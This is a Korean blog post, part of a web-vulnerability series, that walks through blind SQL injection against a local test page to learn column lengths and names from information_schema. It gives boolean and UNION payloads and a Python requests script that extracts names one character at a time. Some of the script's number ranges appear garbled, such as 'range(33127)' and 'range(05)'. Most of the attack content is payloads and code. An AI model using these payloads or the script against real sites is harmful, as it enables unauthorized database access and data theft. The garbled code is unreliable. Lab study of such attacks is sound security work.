DoR@Hee의 끄적끄적

Blind Sql Injection - 칼럼 길이, 이름 가져오기 본문

취약점 진단/WEB

Blind Sql Injection - 칼럼 길이, 이름 가져오기

DoR@Hee 2019. 3. 18. 22:00

0-0 사전준비, DB이름 길이, DB이름 가져오기: https://dorahee.tistory.com/108?category=735413



0-1 table 길이, 이름 가져오기: https://dorahee.tistory.com/109?category=735413



0-2 칼럼 길이 가져오기

테이블에 존재하는 칼럼값을 가져오기 위해서


and length((select column_name from information_schema.columns WHERE table_name='sql_injection' limit 0,1)) = 2을 입력한다.



참이기 때문에 값이 나오는걸 확인 할 수 있고


sql_injection에 첫번째 칼럼은 길이가 2 인것을 확인할수있다.



mysql에서 쿼리문을 입력해보면 역시 참값이 나온다.



"select column_name from information_schema.colums"를 입력해보면


DB에 있는 칼럼이 모드 출력되는 것을 확인 할 수 있다.


거기에 where절을 넣어 조건을 넣으면 원하는 칼럼을 볼 수 있다.




1-2 칼럼 값 가져오기


"and ascii(substr((select column_name from information_schema.columns WHERE table_name='sql_injection' limit 0,1),1,1))=110"

을 입력해 칼럼 이름을 한글자씩 가져온다. 위 쿼리는 참값이기 때문에

값이 출력되는걸 확인 할 수있다.




mysql에서 확인 


1-4 union문을 이용해서 칼럼 갯수, 칼럼이름 가져오기

쿼리문 "UNION select COLUMN_name,1,1,1 FROM information_schema.columns where TABLE_NAME='sql_injection' limit 1,1"을 이용하면


no 부분에 칼럼값이 나타나는것을 확인 할 수 있다.




mysql에서 limit를 제외하고 확인하면 table에 따른 모든 칼럼값이 나오는것을 확인 할 수있다.



1-3 칼럼 길이 및 칼럼 이름 가져오기 파이썬

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
import requests
 
 
def table_name():
    for i in range(1, length + 1):
        for j in range(33127):
            result = ""
            url = "http://localhost/index_ok.php?no=1%20and%20ascii(substr((select%20column_name%20from%20information_schema.columns%20WHERE%20table_name=%27sql_injection%27%20limit%20{0},1),{1},1))={2}".format(column,i, j)
            res = requests.get(url)
            if "email: a@" in res.text:
                print("{0}".format(chr(j)), end='')
                result += str(chr(j))
                break
    print("\n")
 
for column in range(05):
    for lengths in range(130):
        length = 0
        url = "http://localhost/index_ok.php?no=1%20and%20length((select%20column_name%20from%20information_schema.columns%20WHERE%20table_name=%27sql_injection%27%20limit%20{0},1))={1}".format(column, lengths)
        res = requests.get(url)
        if "email: a@" in res.text:
            print("=====================================")
            print("{0}번째 column 길이는{1}".format(column, lengths))
            print("=====================================\n")
            length = lengths
            column_ea = column
            table_name()
        else:
            continue
 
 
 
cs


Comments